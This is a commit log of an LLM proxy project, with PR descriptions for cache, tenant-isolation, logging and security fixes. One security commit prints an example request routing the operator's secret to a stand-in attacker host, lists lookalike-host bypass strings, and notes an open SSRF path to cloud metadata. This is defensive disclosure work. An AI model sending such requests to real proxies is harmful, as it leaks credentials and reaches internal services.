Commit Graph
6 Commits
Author SHA1 Message Date
Mansurshakh JaparovandJD Davis 9553d4292f fix(cache): retain prefix trackers for the provider cache lifetime (#4023)
## Description

Session cleanup currently drops prefix trackers after the default
600-second session lifetime even when Anthropic's request selects a
one-hour cache TTL. Losing the tracker also loses the frozen forwarded
prefix and causes the cache-preserving overlay to replay different
bytes.

Closes #4017.

## Type of Change

- [x] Bug fix
- [x] Documentation update

## Changes Made

- Resolve the request's existing Anthropic cache TTL before selecting
the prefix lineage and pass that TTL through tracker selection/creation.
- Retain each lineage for the greater of the configured session floor
and its observed/current provider TTL plus the existing 60-second safety
margin.
- Keep the lifetime per lineage rather than changing global
configuration: a five-minute session does not inherit another session's
one-hour lifetime.
- Preserve normal expiry beyond the provider lifetime and margin.
- Honor configured cache TTL before a confirmed cache write; discard
expired state before accepting a later request's longer TTL.
- Re-register the live lineage family after lookup/cleanup so recreated
sessions cannot share a tracker's frozen state across sibling
conversations or tool profiles.
- Update existing fake callbacks to the changed tracker contract,
preserve all consumer byte-stability assertions, and remove one
handler-to-store wiring-only test rather than re-pinning its internal
identity assertions.
- Document local tracker retention separately from provider cache
availability.

## Testing

- [x] Unit tests pass (`pytest`), including frozen-prefix byte stability
and independent TTL expiry.
- [x] Changed-file lint, configured pre-commit mypy and manual
production timestamp/overlay checks pass.

### Test Output

```text
Review correction: 273 passed, 2 dependency warnings in 83.79s
{"expires_beyond_provider_ttl_and_margin": true, "five_minute_session_evicted": true, "forwarded_prefix_byte_exact": true, "initial_frozen": 1, "one_hour_session_retained": true, "resolved_ttl_seconds": 3600, "resumed_frozen": 1, "same_tracker_after_660s": true}
```

The mandatory pre-push `make ci-precheck` passed: workspace Rust
fmt/clippy/tests, native extension build/import verification, the
complete configured Python gate, and Commitlint. The native gate
explicitly used the installed CPU `libonnxruntime.so.1.26.0` via
`ORT_DYLIB_PATH`, without skipping cached-model assertions.

```text
[build_rust_extension] headroom._core build + install + verify: OK
================== 177 passed, 4 skipped, 1 warning in 12.87s ==================
✅ ci-precheck PASSED — safe to push.
```

```sh
python -m pytest -q tests/test_cache/test_prefix_tracker.py
python -m pytest -q tests/test_proxy_anthropic_cache_stability.py tests/test_cache_prefix_overlay.py tests/test_cache_ttl_preserved.py tests/test_cold_prefix.py
```

**74 passed** in tracker tests; **54 passed** in request/cache tests
(one existing Starlette TestClient deprecation warning). Two new
regressions fail on baseline because the request TTL is not accepted; a
separate production runtime comparison demonstrates the actual pre-fix
loss, not just the missing parameter.

After rebasing onto current main
`1ad92f0cbc3dea27676e253588100f64a2af6994`, ran those suites together
with `tests/test_prefix_tracker_client_rewrote_reply.py`,
`tests/test_cache_mode_delta_marker.py`, and
`tests/test_content_router_mcp_small_result.py`: **150 passed**. The
actual production timestamp/byte-retention smoke was repeated
successfully on the rebased code, covering compatibility with main's
newly merged client-reply normalization.

Review regression and affected HTTP-consumer suite: **273 passed**,
including tracker expiry, Anthropic/OpenAI cache stability,
byte-faithful forwarding, header isolation, buffered timeouts, CCR
injection, and immutable system prompts. All affected two-argument test
callbacks now accept the TTL contract. The obsolete walker-call-order
test was removed; wire-byte assertions remain. The new
configured-TTL/expiry cases fail against the published baseline; the
post-cleanup regression also verifies that an unrelated conversation
gets a different tracker after recreation.

Changed-file Ruff, formatting, installed pre-commit `mypy headroom`, and
Commitlint hooks passed. Full-tree Ruff is locally blocked by executable
filesystem permissions on five unchanged OAuth2 plugin files (tracked
100644). A separate full dev-environment mypy run found an unchanged
optional LangChain `truthy-function` error; the configured isolated
pre-commit hook passed. No unrelated source/permissions changed.

## Real Behavior Proof

- Environment: Linux x86_64, CPython 3.13.14; unchanged
`dea9092e19385f286b7f67a64f4d85de2708d756` and this branch; real
`SessionTrackerStore`, `PrefixCacheTracker`, request TTL parser, token
estimator and `overlay_cached_prefix`, no mocked store or mocked clock.
- Exact command / steps: parse `cache_control: {type: ephemeral, ttl:
1h}` for `claude-sonnet-4-5`; establish one real cache-write-confirmed
frozen message with different original/forwarded prefix bytes; age
`_last_activity` to `time.time()-660` and make periodic cleanup due;
resume the same lineage and compare the tracker, frozen count, and
forwarded-prefix bytes. Also age beyond 3901 seconds and compare
independent 300/3600-second sessions.
- Before: resolved TTL 3600; after 660 seconds, tracker identity
changes, frozen count drops **1→0**, and forwarded-prefix bytes differ.
- Observed result: after the fix, after 660 seconds the same tracker
remains, frozen count stays **1**, and forwarded-prefix bytes are
identical. The one-hour session survives independently, the five-minute
session expires, and the one-hour lineage still expires beyond TTL plus
margin.
- Review runtime proof against published head `e1a107df`: actual stores
and prefix overlays confirm configured TTL retention before the first
cache write, no resurrection of expired state by a later one-hour
request, eventual expiry, and separate trackers after the maintainer's
3901-second cleanup/recreation sequence. On that exact baseline the
unrelated lookup reuses the wrong tracker, although the overlay guard
preserves the particular unrelated input bytes; after the fix both
identity isolation and byte preservation hold. Identical messages under
different tool profiles also receive a cold, separate tracker after the
expired bare-key transition.
- Not tested: Anthropic cloud cache availability, billed savings, or an
actual one-hour wait. The local production state and byte invariants
were exercised by aging actual timestamps, not by a paid upstream
request. Preserving a tracker cannot guarantee that the provider retains
its cache.

## Runtime Rollout Safety

- Rollout-managed feature(s): none; repair of existing TTL-aware
cache-prefix behavior.
- Minimum rollout channel: stable; no rollout-managed feature is
enabled.
- Stable/default behavior changed: eligible local prefix trackers
survive for their provider cache lifetime. Short-TTL/default sessions
remain bounded by their own session floor.
- Kill switch / disable path: the existing prefix-freeze disable path
remains available; no new flag.
- Unsafe override required: no.
- Qualification impact: local Anthropic prefix lineage
selection/retention, not cache pricing or subscription quota policy.
- Rollback path: revert the commit to restore previous retention. No
persistent schema change.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] Existing cache TTL parser and safety margin reused; cache docs
updated.
- [x] Regressions cover frozen-byte retention, expiry, mixed lifetimes,
and existing request byte-stability behavior.
- [x] `CHANGELOG.md` not edited; Conventional Commit title supplied.

Remote CI results are not inferred from local verification.

---------

Co-authored-by: JD Davis <mxjerrett@gmail.com>
2026-10-07 17:46:21 -05:00
f90a56b038 fix(proxy): F3 — per-tenant TOIN learning key (#404)
## Description

This change isolates TOIN learning by tenant in shared-proxy
deployments. Each pattern key gains a tenant namespace derived from a
configurable sanitized header, a stable auth/token hash, or the
backwards-compatible global namespace. Legacy keys migrate to global and
every resolution path emits a structured event.

## Threat model

Pre-F3, every request's tool-call patterns aggregated into one global
pool keyed by `(auth_mode, model_family, sig_hash)`. That works for an
OSS single-tenant deploy, but in a multi-tenant SaaS / shared-proxy
deploy:

1. **Cross-tenant pattern leakage.** Tenant A's compression patterns
silently train recommendations the proxy then applies to tenant B's
requests, degrading both tenants' compression quality.
2. **Structural fingerprint exposure.** TOIN dumps include
`tool_signature_hash` per slice. With one shared pool, a user with read
access to a dump file learns the structural fingerprint of every other
tenant's tool surface.

F3 partitions: every TOIN store key gets a `tenant_key` prefix derived
from the inbound request. Two distinct tenants therefore train two
isolated pattern pools.

## Tenant key derivation rules

| Source | When | Key derivation |

|------------|--------------------------------------------------------------|-------------------------------------------------------------------|
| `header` | `HEADROOM_TENANT_KEY_HEADER` (default
`X-Headroom-Tenant-ID`) is present and survives sanitization | Sanitized
header value (ASCII alphanum + `-_`, max 64 chars) |
| `hash` | No header but bearer token + `auth_mode` (from F1) present |
`sha256(f"{auth_mode}:{api_key_prefix}")[:24]` (api_key_prefix = first 8
chars of bearer); same SHA-256[:24] idiom as PR #395 |
| `global` | Neither header nor bearer present (OSS single-tenant / dev)
| Literal `"global"` namespace; pre-F3 patterns migrate here on first
load |

Header path takes precedence over hash. Header values that sanitize to
empty (pure unicode / control chars only) fall through to the next rule.

## Configuration

Single env var: `HEADROOM_TENANT_KEY_HEADER`. Default
`X-Headroom-Tenant-ID`. The header NAME is configurable; the
sanitization rules and the `"global"` literal are NOT — they're
load-bearing for namespace isolation.

## Structured log fields

Every resolution path emits exactly one `tenant_key_resolved` log event
(no silent fallbacks per `feedback_no_silent_fallbacks.md`):

| Field | Always present | Notes |

|--------------|----------------|------------------------------------------------|
| `event` | yes | Always `"tenant_key_resolved"` |
| `tenant_key` | yes | Resolved key (or `"global"`) |
| `source` | yes | One of `header` / `hash` / `global` |
| `header` | header path | Header name that matched |
| `auth_mode` | hash path | `payg` / `oauth` / `subscription` |

Operators can alert on a sustained `source="global"` rate to spot
mis-configured upstream auth proxies.

## Implementation

- **NEW** `headroom/proxy/tenant_key.py`: pure resolver. Public surface
= `resolve_tenant_key(request) -> tuple[str, str]`. Plus
`set_request_tenant_key()` / `get_current_tenant_key()` ContextVar pair
so TOIN's deep-stack `record_compression` calls observe the right tenant
slice.
- `headroom/telemetry/toin.py`: extends `PatternKey` from a 3-tuple to a
4-tuple `(tenant_key, auth_mode, model_family, sig_hash)`.
`_deserialize_pattern_key` is backward-compat with both pre-F3 formats
(3-tuple from PR-B5, bare `sig_hash` from v1.0). `record_compression` /
`record_retrieval` / `get_pattern` accept an optional `tenant_key`
kwarg; when absent they read from the ContextVar.
- `headroom/cli/toin_publish.py`: each `[[recommendation]]` row now
carries `tenant_key`; rows sort by `(tenant_key, auth_mode,
model_family, sig_hash)` for clean diffs.
- `headroom/proxy/handlers/anthropic.py` +
`headroom/proxy/handlers/openai.py`: call `resolve_tenant_key(request)`
once at request entry, right after the F1 `classify_auth_mode` block.
Three call sites total (1 Anthropic, 2 OpenAI). Result attached to
`request.state.tenant_key` / `request.state.tenant_key_source` AND set
on the ContextVar.

## Realignment build constraints (per project memory)

- **configurable**: `HEADROOM_TENANT_KEY_HEADER` env var.
- **no hardcodes**: header name + `"global"` literal are the only
constants; both motivated and documented in code.
- **no regexes**: sanitization uses string ops +
`unicodedata.category()`.
- **no silent fallbacks**: every resolution emits a structured log
event.
- **comprehensive tests**: header / hash / global paths + sanitization
edges + tenant-isolation property test.
- **structured logs**: `event=tenant_key_resolved` with `tenant_key`,
`source`, optional `header` / `auth_mode`.

## Test plan

- [x] `pytest tests/test_tenant_key.py` (29 cases — header / hash /
global paths, structured-log emission, sanitization edges, ContextVar
round-trip)
- [x] `pytest tests/test_toin_observation_only.py` (6 new isolation
cases — two-tenant divergence, ContextVar read, explicit kwarg
precedence, default migration to `"global"`)
- [x] `pytest tests/test_toin*.py` (existing TOIN tests updated for the
4-tuple key shape)
- [x] `pytest tests/test_proxy_tenant_key_integration.py` (4 cases —
handler wires `request.state.tenant_key` + ContextVar through all three
resolution paths)
- [x] `pytest tests/test_critical_fixes.py tests/test_critical_gaps.py
tests/test_proxy_ccr.py` (legacy 3-tuple references updated)
- [x] `make ci-precheck-python` — 176 tests pass (passed via pre-push
hook)
- [x] `make ci-precheck-commitlint` — clean (passed via pre-push hook)

Refs: F1 (PR #399, auth_mode classifier), F2.1 (PR #400, per-auth-mode
CompressionPolicy gates).

## Type of Change

- [x] Bug fix / tenant-isolation hardening
- [ ] New feature
- [ ] Breaking change
- [x] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring

## Changes Made

- Add a pure tenant-key resolver and request ContextVar.
- Extend TOIN pattern keys and published recommendations with a tenant
namespace while preserving legacy deserialization.
- Resolve and attach tenant identity at Anthropic and OpenAI request
entry.
- Add isolation, migration, sanitization, header, CCR, handler, and
executor coverage.

## Testing

- [x] Focused tenant/TOIN/proxy tests pass
- [x] Python CI precheck passes
- [x] Commitlint precheck passes

### Test Output

```text
176 focused/precheck tests passed
Current-main isolation, migration, header, CCR, and executor validation: green
```

## Real Behavior Proof

- Environment: current-main reconciled Python proxy/TOIN test
environment.
- Exact command / steps: ran tenant resolver, TOIN observation/publish,
handler integration, header-isolation, CCR, and compression-executor
suites.
- Observed result: distinct tenants train isolated pattern pools; legacy
patterns migrate to global; request handlers propagate the resolved
namespace through deep TOIN calls.
- Not tested: production multi-tenant traffic volume or an external TOIN
dump consumer.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

---------

Co-authored-by: JD Davis <jd@jds-macbook-air.tail2a279.ts.net>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-10-01 22:03:59 -05:00
Tejas Chopra 1f96dabc19 fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections.
2026-08-20 09:02:44 -05:00
Tejas ChopraandTejas Chopra 05f5ef47cb fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description

`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.

The two met in the wrong order:

```
openai.py:3127   headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134   upstream_base_url = _resolve_openai_upstream_base(request.headers)
```

The secret was merged **before** the destination was resolved. So:

```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```

reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).

Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.

Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed

### Test Output

```text
tests/test_upstream_credential_scoping.py            15 passed   (new)

Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
  3340 passed, 163 skipped, 1 failed in 164.56s

The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.

ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —

  ```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
  ```

With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found during the same audit, **not fixed here** — each wants its own
change:

- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
nangsontayandJerrettDavis e5b3a634df fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description

Running Claude Code (Anthropic) and Codex (OpenAI) against the **same**
Headroom proxy instance on one port produced incorrect, unstable
dashboard data. The proxy core is provider-isolated and
multi-provider-safe by design; the defect was in the observability
layer. The Codex `/v1/responses` **WebSocket** handler was the only path
in the proxy that wrote to the request logger by hand instead of through
the unified `emit_request_outcome` funnel, and it did so twice per
session close: the per-turn funnel record plus an unconditional
cumulative session-summary `RequestLog`. This PR removes the duplicate
summary log so Codex WS emits exactly one request log per turn, matching
the HTTP provider paths.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Dropped the duplicate cumulative session-summary `RequestLog` in the
Codex WS handler while preserving the per-turn `emit_request_outcome`
path.
- Preserved gated `request_messages` and `turn_id` on residual outcomes
so dashboard telemetry keeps the useful attribution without
double-counting tokens.
- Ensured explicit `--anyllm-provider` wins over a leaked
`HEADROOM_ANYLLM_PROVIDER` environment variable.
- Registered retry delay settings that had drifted out of the settings
registry.
- Hardened tests against developer-shell `HEADROOM_*` /
`ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused
proxy/wrap test fixtures.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ .venv/bin/pytest tests/ -q -p no:cacheprovider
8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36)

$ .venv/bin/ruff check <touched files>
All checks passed!
```

## Real Behavior Proof

- Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff
via project venv, branch `fix/multi-provider-runtime`.
- Exact command / steps: Ran the full test suite without pytest cache
provider and Ruff on all touched files; used `git stash` to confirm the
stale fake-config failures pre-existed this change.
- Observed result: Full suite passed with no failures; Ruff passed;
Codex WS now routes end-of-session logging through
`emit_request_outcome`, emitting one request log per turn with the same
accounting model as Anthropic HTTP turns.
- Not tested: Live simultaneous Claude + Codex dashboard run. `mypy
headroom` was not run to completion; a scoped run reported one
pre-existing `settings_store.py:470` coercion error outside this diff.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [ ] I have updated the CHANGELOG.md if applicable

## Screenshots (if applicable)

N/A - server-side observability fix; no UI markup changed.

## Additional Notes

- The proxy's multi-provider routing, header/auth isolation, and
per-model cache keying are already correct and unchanged here; only the
WS observability write path was double-counting.
- Architectural assessment:
`plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`;
root-cause + resolution trail:
`plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`.
- No live simultaneous Claude + Codex dashboard run was performed;
validation is from test coverage and code review of the WS logging path.

---------

Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-15 18:18:34 +00:00
chopratejas 2e874c5e3e fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.

Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
  returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
  prefix match, no regex). Pure function. Operator opt-in
  `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
  the upstream-bound dict for diagnostic shadow tracing — explicit, not
  a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
  `openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
  WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
  generate / stream / countTokens / cloudcode-assist, Anthropic
  passthrough + batch results). Inbound reads of x-headroom (bypass
  gating, memory user-id) migrated to `request.headers.get(...)` so
  they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
  stripped_count=N request_id=...` per call. Never logs header values.

Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
  helpers in `src/headers.rs`. `build_forward_request_headers` accepts
  a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
  flag `--strip-internal-headers` and env var
  `HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
  with the resolved policy; structured `tracing::info!` /
  `tracing::warn!` line per request describes the strip decision.

Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.

Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).

Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).

Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
2026-05-02 09:35:27 -07:00